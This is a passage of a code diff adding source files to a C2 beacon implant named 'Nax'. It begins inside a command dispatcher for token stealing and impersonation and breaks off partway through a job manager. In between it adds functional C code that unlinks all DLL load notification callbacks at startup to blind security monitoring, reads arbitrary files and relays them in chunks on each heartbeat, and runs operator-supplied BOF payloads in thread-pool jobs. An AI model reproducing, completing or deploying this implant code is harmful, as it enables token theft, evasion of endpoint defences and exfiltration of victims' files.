*result_status = ( CmdTokenSteal( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
case NAX_CMD_TOKEN_USE:
|
||||
*result_status = ( CmdTokenUse( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
case NAX_CMD_TOKEN_LIST:
|
||||
*result_status = ( CmdTokenList( Nax, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
case NAX_CMD_TOKEN_RM:
|
||||
*result_status = ( CmdTokenRm( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
case NAX_CMD_TOKEN_REVERT:
|
||||
*result_status = ( CmdTokenRevert( Nax, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
case NAX_CMD_TOKEN_MAKE:
|
||||
*result_status = ( CmdTokenMake( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
case NAX_CMD_TOKEN_PRIVS:
|
||||
*result_status = ( CmdTokenPrivs( Nax, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- unrecognised command ---- */
|
||||
default:
|
||||
*result_status = NAX_STATUS_ERR;
|
||||
*result_data_len = 0;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,181 @@
|
||||
/* beacon/src/Commands/DllNotify.c
|
||||
* List and remove DLL load notification callbacks (LdrRegisterDllNotification).
|
||||
*
|
||||
* Technique: register a temp callback to find the list head in ntdll .data,
|
||||
* then walk the doubly-linked list to enumerate/unlink entries.
|
||||
* Reference: rad9800/misc - UnregisterAllLdrRegisterDllNotification.c */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
/* ========= [ dummy callback for list-head discovery ] ========= */
|
||||
|
||||
FUNC VOID NTAPI NaxDllNotifyDummy(
|
||||
ULONG NotificationReason,
|
||||
PLDR_DLL_NOTIFICATION_DATA NotificationData,
|
||||
PVOID Context
|
||||
) {
|
||||
(void)NotificationReason;
|
||||
(void)NotificationData;
|
||||
(void)Context;
|
||||
}
|
||||
|
||||
/* ========= [ find the list head ] ========= */
|
||||
|
||||
FUNC PLIST_ENTRY NaxGetDllNotificationListHead( PNAX_INSTANCE Nax ) {
|
||||
if ( !Nax->Ntdll.LdrRegisterDllNotification || !Nax->Ntdll.LdrUnregisterDllNotification )
|
||||
return NULL;
|
||||
|
||||
HMODULE hNtdll = Nax->Ntdll.Handle;
|
||||
if ( !hNtdll ) return NULL;
|
||||
|
||||
PVOID cookie = NULL;
|
||||
NTSTATUS st = Nax->Ntdll.LdrRegisterDllNotification( 0, NaxDllNotifyDummy, NULL, &cookie );
|
||||
if ( st != 0 || !cookie ) return NULL;
|
||||
|
||||
PLDR_DLL_NOTIFICATION_ENTRY entry = (PLDR_DLL_NOTIFICATION_ENTRY)cookie;
|
||||
|
||||
PIMAGE_NT_HEADERS ntHdr = C_PTR( U_PTR( hNtdll ) + ((PIMAGE_DOS_HEADER)hNtdll)->e_lfanew );
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION( ntHdr );
|
||||
PVOID dataStart = NULL;
|
||||
PVOID dataEnd = NULL;
|
||||
for ( WORD i = 0; i < ntHdr->FileHeader.NumberOfSections; i++ ) {
|
||||
if ( sec[i].Name[0] == '.' && sec[i].Name[1] == 'd' &&
|
||||
sec[i].Name[2] == 'a' && sec[i].Name[3] == 't' &&
|
||||
sec[i].Name[4] == 'a' ) {
|
||||
dataStart = C_PTR( U_PTR( hNtdll ) + sec[i].VirtualAddress );
|
||||
dataEnd = C_PTR( U_PTR( dataStart ) + sec[i].Misc.VirtualSize );
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
PLIST_ENTRY head = NULL;
|
||||
if ( dataStart && dataEnd ) {
|
||||
PLIST_ENTRY cur = entry->List.Flink;
|
||||
while ( cur != &entry->List ) {
|
||||
if ( U_PTR( cur ) >= U_PTR( dataStart ) &&
|
||||
U_PTR( cur ) < U_PTR( dataEnd ) ) {
|
||||
head = cur;
|
||||
break;
|
||||
}
|
||||
cur = cur->Flink;
|
||||
}
|
||||
}
|
||||
|
||||
Nax->Ntdll.LdrUnregisterDllNotification( cookie );
|
||||
return head;
|
||||
}
|
||||
|
||||
/* ========= [ list callbacks ] ========= */
|
||||
|
||||
FUNC INT NaxCmdDllNotifyList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
|
||||
PLIST_ENTRY head = NaxGetDllNotificationListHead( Nax );
|
||||
if ( !head ) {
|
||||
UINT32 cap = *out_len;
|
||||
*out_len = 0;
|
||||
static const char err[] D_SEC( Bd ) = "Failed to locate DLL notification list head";
|
||||
UINT32 elen = 0;
|
||||
while ( err[elen] ) elen++;
|
||||
if ( elen <= cap ) {
|
||||
MmCopy( out, err, elen );
|
||||
*out_len = elen;
|
||||
}
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
UINT32 cap = *out_len;
|
||||
UINT32 off = 0;
|
||||
UINT32 count = 0;
|
||||
|
||||
PLIST_ENTRY cur = head->Flink;
|
||||
while ( cur != head ) {
|
||||
PLDR_DLL_NOTIFICATION_ENTRY e = (PLDR_DLL_NOTIFICATION_ENTRY)cur;
|
||||
count++;
|
||||
|
||||
static const char p1[] D_SEC( Bd ) = "[";
|
||||
static const char p2[] D_SEC( Bd ) = "] callback=";
|
||||
static const char p3[] D_SEC( Bd ) = " ctx=";
|
||||
static const char nl[] D_SEC( Bd ) = "\n";
|
||||
off = NaxAppendStr( (PCHAR)out, off, cap, p1 );
|
||||
off = NaxAppendInt( (PCHAR)out, off, cap, count );
|
||||
off = NaxAppendStr( (PCHAR)out, off, cap, p2 );
|
||||
off = NaxAppendPtr( (PCHAR)out, off, cap, U_PTR( e->Callback ) );
|
||||
off = NaxAppendStr( (PCHAR)out, off, cap, p3 );
|
||||
off = NaxAppendPtr( (PCHAR)out, off, cap, U_PTR( e->Context ) );
|
||||
off = NaxAppendStr( (PCHAR)out, off, cap, nl );
|
||||
|
||||
cur = cur->Flink;
|
||||
}
|
||||
|
||||
if ( count == 0 ) {
|
||||
static const char none[] D_SEC( Bd ) = "No DLL notification callbacks registered";
|
||||
UINT32 nlen = 0;
|
||||
while ( none[nlen] ) nlen++;
|
||||
if ( nlen <= cap ) {
|
||||
MmCopy( out, none, nlen );
|
||||
off = nlen;
|
||||
}
|
||||
} else {
|
||||
static const char t1[] D_SEC( Bd ) = "Total: ";
|
||||
static const char t2[] D_SEC( Bd ) = " callback(s)";
|
||||
off = NaxAppendStr( (PCHAR)out, off, cap, t1 );
|
||||
off = NaxAppendInt( (PCHAR)out, off, cap, count );
|
||||
off = NaxAppendStr( (PCHAR)out, off, cap, t2 );
|
||||
}
|
||||
|
||||
*out_len = off;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ remove all callbacks ] ========= */
|
||||
|
||||
FUNC INT NaxCmdDllNotifyRemove( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
|
||||
PLIST_ENTRY head = NaxGetDllNotificationListHead( Nax );
|
||||
if ( !head ) {
|
||||
UINT32 cap = *out_len;
|
||||
*out_len = 0;
|
||||
static const char err[] D_SEC( Bd ) = "Failed to locate DLL notification list head";
|
||||
UINT32 elen = 0;
|
||||
while ( err[elen] ) elen++;
|
||||
if ( elen <= cap ) {
|
||||
MmCopy( out, err, elen );
|
||||
*out_len = elen;
|
||||
}
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
UINT32 count = 0;
|
||||
while ( head->Flink != head ) {
|
||||
PLIST_ENTRY entry = head->Flink;
|
||||
entry->Blink->Flink = entry->Flink;
|
||||
entry->Flink->Blink = entry->Blink;
|
||||
count++;
|
||||
}
|
||||
|
||||
UINT32 cap = *out_len;
|
||||
UINT32 off = 0;
|
||||
static const char m1[] D_SEC( Bd ) = "Removed ";
|
||||
static const char m2[] D_SEC( Bd ) = " DLL notification callback(s)";
|
||||
off = NaxAppendStr( (PCHAR)out, off, cap, m1 );
|
||||
off = NaxAppendInt( (PCHAR)out, off, cap, count );
|
||||
off = NaxAppendStr( (PCHAR)out, off, cap, m2 );
|
||||
*out_len = off;
|
||||
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ startup unhook (called from Main.c) ] ========= */
|
||||
|
||||
FUNC VOID NaxDllNotifyUnhookAll( PNAX_INSTANCE Nax ) {
|
||||
PLIST_ENTRY head = NaxGetDllNotificationListHead( Nax );
|
||||
if ( !head ) return;
|
||||
|
||||
UINT32 count = 0;
|
||||
while ( head->Flink != head ) {
|
||||
PLIST_ENTRY entry = head->Flink;
|
||||
entry->Blink->Flink = entry->Flink;
|
||||
entry->Flink->Blink = entry->Blink;
|
||||
count++;
|
||||
}
|
||||
|
||||
NaxDbg( Nax, "DllNotify: removed %d callback(s) at startup", count );
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
/* beacon/src/Commands/Download.c
|
||||
* CMD_DOWNLOAD (0x22) - initiate a chunked file download.
|
||||
*
|
||||
* Opens the file, registers a NAX_DOWNLOAD node, and returns the START
|
||||
* result. Subsequent chunks are sent by NaxProcessDownloads() in the
|
||||
* heartbeat relay phase (one chunk per sleep cycle).
|
||||
*
|
||||
* Task args: file_path (plain byte string, no length prefix).
|
||||
*
|
||||
* START result:
|
||||
* [NAX_DL_START(1)][fileId(4LE)][fileSize(4LE)][fname_len(4LE)][fname]
|
||||
*
|
||||
* Failure result:
|
||||
* [Win32_error(4LE)] (status=ERR, data_len=4) */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
FUNC INT NaxCmdDownload( PNAX_INSTANCE Nax,
|
||||
UINT32 taskId,
|
||||
const PBYTE args,
|
||||
UINT32 args_len,
|
||||
PBYTE out,
|
||||
UINT32* out_len ) {
|
||||
if ( !args || args_len < 4 ) return NAX_ERR_INVAL;
|
||||
|
||||
/* First 4 bytes: per-download chunk size override (0 = use global) */
|
||||
UINT32 dlChunkSize = NaxR32( args );
|
||||
PBYTE pathArgs = (PBYTE)args + 4;
|
||||
UINT32 pathLen = args_len - 4;
|
||||
|
||||
/* Build null-terminated path */
|
||||
PCHAR path_buf = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, pathLen + 1 );
|
||||
if ( !path_buf ) return NAX_ERR_NOMEM;
|
||||
MmCopy( path_buf, pathArgs, pathLen );
|
||||
path_buf[ pathLen ] = '\0';
|
||||
|
||||
/* Open file */
|
||||
HANDLE hFile = Nax->Kernel32.CreateFileA( path_buf, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
|
||||
if ( hFile == INVALID_HANDLE_VALUE ) {
|
||||
DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0;
|
||||
NaxWriteWin32ErrCode( out, out_len, err );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
/* File size */
|
||||
DWORD fsize_hi = 0;
|
||||
DWORD fsize_lo = Nax->Kernel32.GetFileSize( hFile, &fsize_hi );
|
||||
if ( fsize_lo == (DWORD)( -1 ) || fsize_hi > 0 ) {
|
||||
DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0;
|
||||
NaxWriteWin32ErrCode( out, out_len, err );
|
||||
Nax->Kernel32.CloseHandle( hFile );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
UINT32 fsize = (UINT32)fsize_lo;
|
||||
|
||||
/* Basename */
|
||||
PCHAR fname = path_buf;
|
||||
for ( UINT32 i = 0; path_buf[i]; i++ )
|
||||
if ( path_buf[i] == '\\' || path_buf[i] == '/' )
|
||||
fname = path_buf + i + 1;
|
||||
UINT32 fname_len = NaxStrLen( fname );
|
||||
|
||||
/* Generate random fileId */
|
||||
UINT32 fileId = 0;
|
||||
Nax->Bcrypt.BCryptGenRandom( NULL, (PBYTE)&fileId, 4, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
|
||||
|
||||
/* Allocate download node */
|
||||
NAX_DOWNLOAD* dl = (NAX_DOWNLOAD*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_DOWNLOAD ) );
|
||||
if ( !dl ) {
|
||||
Nax->Kernel32.CloseHandle( hFile );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
dl->TaskId = taskId;
|
||||
dl->FileId = fileId;
|
||||
dl->hFile = hFile;
|
||||
dl->FileSize = fsize;
|
||||
dl->Index = 0;
|
||||
dl->ChunkSize = dlChunkSize;
|
||||
dl->Next = Nax->DownloadHead;
|
||||
Nax->DownloadHead = dl;
|
||||
|
||||
/* Build START result: [sub(1)][fileId(4LE)][fileSize(4LE)][fname_len(4LE)][fname] */
|
||||
UINT32 result_sz = 1u + 4u + 4u + 4u + fname_len;
|
||||
if ( result_sz > *out_len ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
|
||||
return NAX_ERR_NOMEM;
|
||||
}
|
||||
|
||||
PBYTE p = out;
|
||||
*p++ = NAX_DL_START;
|
||||
NaxW32( p, fileId ); p += 4;
|
||||
NaxW32( p, fsize ); p += 4;
|
||||
NaxW32( p, fname_len ); p += 4;
|
||||
if ( fname_len ) { MmCopy( p, fname, fname_len ); p += fname_len; }
|
||||
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
|
||||
|
||||
*out_len = result_sz;
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
/* beacon/src/Commands/Downloader.c
|
||||
* Per-heartbeat download chunk relay.
|
||||
*
|
||||
* NaxProcessDownloads() is called from the heartbeat relay phase (after task
|
||||
* dispatch, alongside pivots/jobs/tunnels). For each active NAX_DOWNLOAD it
|
||||
* reads one NAX_DL_CHUNK_SIZE chunk and packs a result entry.
|
||||
*
|
||||
* Output buffer format (packed entries, parsed by HttpRelayDownloads):
|
||||
* [taskId(4LE)][dataLen(4LE)][data(n)] repeated
|
||||
*
|
||||
* data for CONTINUE:
|
||||
* [NAX_DL_CONTINUE(1)][fileId(4LE)][chunk_bytes]
|
||||
*
|
||||
* data for FINISH:
|
||||
* [NAX_DL_FINISH(1)][fileId(4LE)] */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
FUNC UINT32 NaxProcessDownloads( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) {
|
||||
UINT32 off = 0;
|
||||
NAX_DOWNLOAD* dl = Nax->DownloadHead;
|
||||
NAX_DOWNLOAD** prev = &Nax->DownloadHead;
|
||||
|
||||
while ( dl ) {
|
||||
NAX_DOWNLOAD* next = dl->Next;
|
||||
|
||||
/* ---- read one chunk ---- */
|
||||
UINT32 chunkSz = dl->ChunkSize ? dl->ChunkSize : Nax->Config.DlChunkSize;
|
||||
if ( chunkSz == 0 || chunkSz > NAX_DL_CHUNK_MAX )
|
||||
chunkSz = NAX_DL_CHUNK_DEFAULT;
|
||||
UINT32 want = chunkSz;
|
||||
if ( dl->Index + want > dl->FileSize )
|
||||
want = dl->FileSize - dl->Index;
|
||||
|
||||
/* space check: header(8) + sub(1) + fileId(4) + data(want) */
|
||||
UINT32 entry_sz = 8 + 1 + 4 + want;
|
||||
if ( off + entry_sz > out_cap ) {
|
||||
prev = &dl->Next;
|
||||
dl = next;
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD nread = 0;
|
||||
BOOL ok = TRUE;
|
||||
if ( want > 0 )
|
||||
ok = Nax->Kernel32.ReadFile( dl->hFile, out + off + 8 + 1 + 4, want, &nread, NULL );
|
||||
|
||||
if ( !ok || ( want > 0 && nread == 0 ) ) {
|
||||
/* read error - finish with what we have */
|
||||
Nax->Kernel32.CloseHandle( dl->hFile );
|
||||
*prev = next;
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dl );
|
||||
dl = next;
|
||||
continue;
|
||||
}
|
||||
|
||||
/* pack CONTINUE entry */
|
||||
UINT32 data_len = 1 + 4 + nread;
|
||||
NaxW32( out + off, dl->TaskId ); off += 4;
|
||||
NaxW32( out + off, data_len ); off += 4;
|
||||
out[ off++ ] = NAX_DL_CONTINUE;
|
||||
NaxW32( out + off, dl->FileId ); off += 4;
|
||||
off += nread; /* data already in place from ReadFile */
|
||||
|
||||
dl->Index += nread;
|
||||
|
||||
/* check if download is complete */
|
||||
if ( dl->Index >= dl->FileSize ) {
|
||||
/* space check for FINISH entry: header(8) + sub(1) + fileId(4) = 13 */
|
||||
if ( off + 13 <= out_cap ) {
|
||||
NaxW32( out + off, dl->TaskId ); off += 4;
|
||||
NaxW32( out + off, 5 ); off += 4; /* data_len = 1 + 4 */
|
||||
out[ off++ ] = NAX_DL_FINISH;
|
||||
NaxW32( out + off, dl->FileId ); off += 4;
|
||||
}
|
||||
Nax->Kernel32.CloseHandle( dl->hFile );
|
||||
*prev = next;
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dl );
|
||||
dl = next;
|
||||
continue;
|
||||
}
|
||||
|
||||
prev = &dl->Next;
|
||||
dl = next;
|
||||
}
|
||||
|
||||
return off;
|
||||
}
|
||||
@@ -0,0 +1,328 @@
|
||||
/* beacon/src/Commands/Jobs.c
|
||||
* Async BOF job manager - create, start, process, kill, list. */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Common.h"
|
||||
#include "Bof.h"
|
||||
#include "Jobs.h"
|
||||
|
||||
/* ========= [ helpers ] ========= */
|
||||
|
||||
static VOID JobFreeMedia( PNAX_INSTANCE Nax, NAX_BOF_MEDIA* head ) {
|
||||
while ( head ) {
|
||||
NAX_BOF_MEDIA* next = head->Next;
|
||||
if ( head->Data ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, head->Data );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, head );
|
||||
head = next;
|
||||
}
|
||||
}
|
||||
|
||||
static NAX_BOF_MEDIA* JobReverseMedia( NAX_BOF_MEDIA* head ) {
|
||||
NAX_BOF_MEDIA* prev = NULL;
|
||||
while ( head ) {
|
||||
NAX_BOF_MEDIA* next = head->Next;
|
||||
head->Next = prev;
|
||||
prev = head;
|
||||
head = next;
|
||||
}
|
||||
return prev;
|
||||
}
|
||||
|
||||
static UINT32 JobPackOutput( PNAX_INSTANCE Nax, NAX_BOF_CTX* ctx, PBYTE out, UINT32 out_cap, BOOL includeStompHdr ) {
|
||||
UINT32 off = 0;
|
||||
BOOL has_text = ( ctx->Len > 0 );
|
||||
BOOL has_media = ( ctx->MediaHead != NULL );
|
||||
|
||||
/* Prepend 2-byte stomp metadata on final drain */
|
||||
if ( includeStompHdr && off + 2 <= out_cap ) {
|
||||
out[ off++ ] = ctx->Stomped;
|
||||
out[ off++ ] = ctx->StompSlot;
|
||||
}
|
||||
|
||||
if ( has_media ) {
|
||||
ctx->MediaHead = JobReverseMedia( ctx->MediaHead );
|
||||
for ( NAX_BOF_MEDIA* m = ctx->MediaHead; m; m = m->Next ) {
|
||||
if ( off + m->Len <= out_cap ) {
|
||||
MmCopy( out + off, m->Data, m->Len );
|
||||
off += m->Len;
|
||||
}
|
||||
}
|
||||
JobFreeMedia( Nax, ctx->MediaHead );
|
||||
ctx->MediaHead = NULL;
|
||||
}
|
||||
|
||||
if ( has_text && has_media ) {
|
||||
if ( off + 5u + ctx->Len <= out_cap ) {
|
||||
out[ off ] = 0x00;
|
||||
NaxW32( out + off + 1, ctx->Len );
|
||||
MmCopy( out + off + 5, ctx->Buf, ctx->Len );
|
||||
off += 5u + ctx->Len;
|
||||
}
|
||||
} else if ( has_text ) {
|
||||
UINT32 copy = ( ctx->Len < out_cap - off ) ? ctx->Len : out_cap - off;
|
||||
MmCopy( out + off, ctx->Buf, copy );
|
||||
off += copy;
|
||||
}
|
||||
ctx->Len = 0;
|
||||
return off;
|
||||
}
|
||||
|
||||
/* ========= [ create ] ========= */
|
||||
|
||||
FUNC NAX_JOB* NaxJobCreate( PNAX_INSTANCE Nax, UINT32 taskId,
|
||||
PBYTE coffBuf, UINT32 coffSize,
|
||||
PBYTE argsBuf, UINT32 argsSize,
|
||||
DWORD timeoutMs ) {
|
||||
NAX_JOB* job = (NAX_JOB*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_JOB ) );
|
||||
if ( !job ) return NULL;
|
||||
MmZero( job, sizeof( NAX_JOB ) );
|
||||
|
||||
job->Nax = Nax;
|
||||
job->TaskId = taskId;
|
||||
job->State = NAX_JOB_PENDING;
|
||||
job->TimeoutMs = timeoutMs ? timeoutMs : JOB_DEFAULT_TIMEOUT_MS;
|
||||
|
||||
job->CoffCopy = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, coffSize );
|
||||
if ( !job->CoffCopy ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job ); return NULL; }
|
||||
MmCopy( job->CoffCopy, coffBuf, coffSize );
|
||||
job->CoffSize = coffSize;
|
||||
|
||||
if ( argsSize > 0 && argsBuf ) {
|
||||
job->ArgsCopy = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, argsSize );
|
||||
if ( !job->ArgsCopy ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job );
|
||||
return NULL;
|
||||
}
|
||||
MmCopy( job->ArgsCopy, argsBuf, argsSize );
|
||||
job->ArgsSize = argsSize;
|
||||
}
|
||||
|
||||
job->BofCtx.Buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, BOF_OUTPUT_CAP );
|
||||
if ( !job->BofCtx.Buf ) {
|
||||
if ( job->ArgsCopy ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->ArgsCopy );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job );
|
||||
return NULL;
|
||||
}
|
||||
job->BofCtx.Len = 0;
|
||||
job->BofCtx.Cap = BOF_OUTPUT_CAP;
|
||||
|
||||
Nax->Ntdll.RtlInitializeCriticalSection( &job->Lock );
|
||||
job->hStopEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
|
||||
|
||||
job->Next = Nax->JobHead;
|
||||
Nax->JobHead = job;
|
||||
|
||||
return job;
|
||||
}
|
||||
|
||||
/* ========= [ thread proc ] ========= */
|
||||
|
||||
static VOID CALLBACK NaxJobThreadProc( PTP_CALLBACK_INSTANCE Inst, PVOID Context, PTP_WORK Work ) {
|
||||
(void)Inst; (void)Work;
|
||||
NAX_JOB* job = (NAX_JOB*)Context;
|
||||
|
||||
/* propagate NAX_INSTANCE to this thread's TEB so G_INSTANCE works */
|
||||
PNAX_INSTANCE Nax = job->Nax;
|
||||
NaxCurrentTeb()->NtTib.ArbitraryUserPointer = (PVOID)Nax;
|
||||
|
||||
Nax->Kernel32.DuplicateHandle( Nax->Kernel32.GetCurrentProcess(), Nax->Kernel32.GetCurrentThread(),
|
||||
Nax->Kernel32.GetCurrentProcess(), &job->hThread, 0, FALSE, DUPLICATE_SAME_ACCESS );
|
||||
|
||||
Nax->CurrentJob = job;
|
||||
|
||||
/* swap BofCtx to per-job buffer so BOF output goes to the job's own accumulator */
|
||||
Nax->Ntdll.RtlEnterCriticalSection( &job->Lock );
|
||||
job->SavedBofCtx = Nax->BofCtx;
|
||||
Nax->BofCtx = job->BofCtx;
|
||||
Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock );
|
||||
|
||||
NaxBofExecute( Nax, job->CoffCopy, job->CoffSize, job->ArgsCopy, job->ArgsSize );
|
||||
|
||||
/* watchdog may have abandoned us - don't touch shared state, just return to pool */
|
||||
if ( job->Abandoned )
|
||||
return;
|
||||
|
||||
/* collect output back into job */
|
||||
Nax->Ntdll.RtlEnterCriticalSection( &job->Lock );
|
||||
job->BofCtx = Nax->BofCtx;
|
||||
Nax->BofCtx = job->SavedBofCtx;
|
||||
Nax->Ntdll.RtlLeaveCriticalSection( &job->Lock );
|
||||
|
||||
/* zero+free COFF copy */
|
||||
MmZero( job->CoffCopy, job->CoffSize );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->CoffCopy );
|
||||
job->CoffCopy = NULL;
|
||||
if ( job->ArgsCopy ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, job->ArgsCopy );
|
||||
job->ArgsCopy = NULL;
|
||||
}
|
||||
|
||||
job->State = NAX_JOB_FINISHED;
|
||||
Nax->CurrentJob = NULL;
|
||||
|
||||
Nax->Kernel32.SetEvent( Nax->JobWakeEvent );
|
||||
}
|
||||
|
||||
/* ========= [ start ] ========= */
|
||||
|
||||
FUNC INT NaxJobStart( PNAX_INSTANCE Nax, NAX_JOB* job ) {
|
||||
PTP_WORK work = NULL;
|
||||
NTSTATUS st = Nax->Ntdll.TpAllocWork( &work, (PTP_WORK_CALLBACK)NaxJobThreadProc, job, NULL );
|
||||
if ( !NT_SUCCESS( st ) || !work ) {
|
||||
NaxDbg( Nax, "[job] TpAllocWork failed: 0x%08x", st );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
job->State = NAX_JOB_RUNNING;
|
||||
job->StartTick = Nax->Kernel32.GetTickCount64();
|
||||
Nax->Ntdll.TpPostWork( work );
|
||||
Nax->Ntdll.TpReleaseWork( work );
|
||||
|
||||
NaxDbg( Nax, "[job] started taskId=0x%08x timeout=%ums", job->TaskId, job->TimeoutMs );
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ kill ] ========= */
|
||||
|
||||
FUNC INT NaxJobKill( PNAX_INSTANCE Nax, UINT32 taskId ) {
|
||||
NAX_JOB* job = Nax->JobHead;
|
||||
while ( job ) {
|
||||
if ( job->TaskId == taskId && ( job->State == NAX_JOB_RUNNING || job->State == NAX_JOB_PENDING ) )
|
||||
break;
|
||||
job = job->Next;
|
||||
}
|
||||
if ( !job ) return NAX_ERR_INVAL;
|
||||
|
||||
Nax->Kernel32.SetEvent( job->hStopEvent );
|
||||
|
||||
if ( job->hThread ) {
|
||||
DWORD w = Nax->Kernel32.WaitForSingleObject( job->hThread, JOB_GRACE_PERIOD_MS );
|
||||
if ( w != WAIT_OBJECT_0 ) {
|
||||
/* Thread is stuck. TerminateThread on a pool worker corrupts ntdll's
|
||||
* thread pool and crashes the process - abandon the thread instead.
|
||||
* The leaked resources are a few KB; a dead beacon is worse. */
|
||||
job->Abandoned = TRUE;
|
||||
|
||||
/* Nax->BofCtx may still point to the job's buffer (swap-back never ran).
|
||||
* Snapshot partial output and restore the main-thread context. */
|
||||
if ( Nax->BofCtx.Buf == job->BofCtx.Buf ) {
|
||||
job->BofCtx.Len = Nax->BofCtx.Len;
|
||||
job->BofCtx.MediaHead = Nax->BofCtx.MediaHead;
|
||||
}
|
||||
Nax->BofCtx = job->SavedBofCtx;
|
||||
Nax->CurrentJob = NULL;
|
||||
|
||||
NaxDbg( Nax, "[job] abandoned taskId=0x%08x (thread still alive)", taskId );
|
||||
}
|
||||
}
|
||||
|
||||
job->State = NAX_JOB_KILLED;
|
||||
Nax->Kernel32.SetEvent( Nax->JobWakeEvent );
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ process - heartbeat drain ] ========= */
|
||||
|
||||
FUNC UINT32 NaxProcessJobs( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap ) {
|
||||
UINT32 written = 0;
|
||||
NAX_JOB** pp = &Nax->JobHead;
|
||||
|
||||
Nax->Kernel32.ResetEvent( Nax->JobWakeEvent );
|
||||
|
||||
while ( *pp ) {
|
||||
NAX_JOB* job = *pp;
|
||||
|
||||
/* ---- watchdog check ---- */
|
||||
if ( job->State == NAX_JOB_RUNNING ) {
|
||||
UINT64 elapsed = Nax->Kernel32.GetTickCount64() - job->StartTick;
|
||||
if ( elapsed > (UINT64)job->TimeoutMs ) {
|
||||
NaxDbg( Nax, "[job] watchdog timeout taskId=0x%08x (%ums)", job->TaskId, (UINT32)elapsed );
|
||||
NaxJobKill( Nax, job->TaskId );
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- drain output ---- */
|
||||
if ( job->State == NAX_JOB_RUNNING ) {
|
||||
if ( Nax->Ntdll.RtlTryEnterCriticalSection( &job->Lock ) ) {
|
||||
if ( job->BofCtx.Len > 0 || job->BofCtx.MediaHead ) {
|
||||
UINT32 hdr_off = written;
|
||||
UINT32 data_off = written + 9;
|
||||
if ( data_off < out_cap ) {
|
||||
UINT32 data_len = JobPackOutput( Nax, &job->BofCtx, out + data_off, out_cap - data_off, FALSE );
|
||||
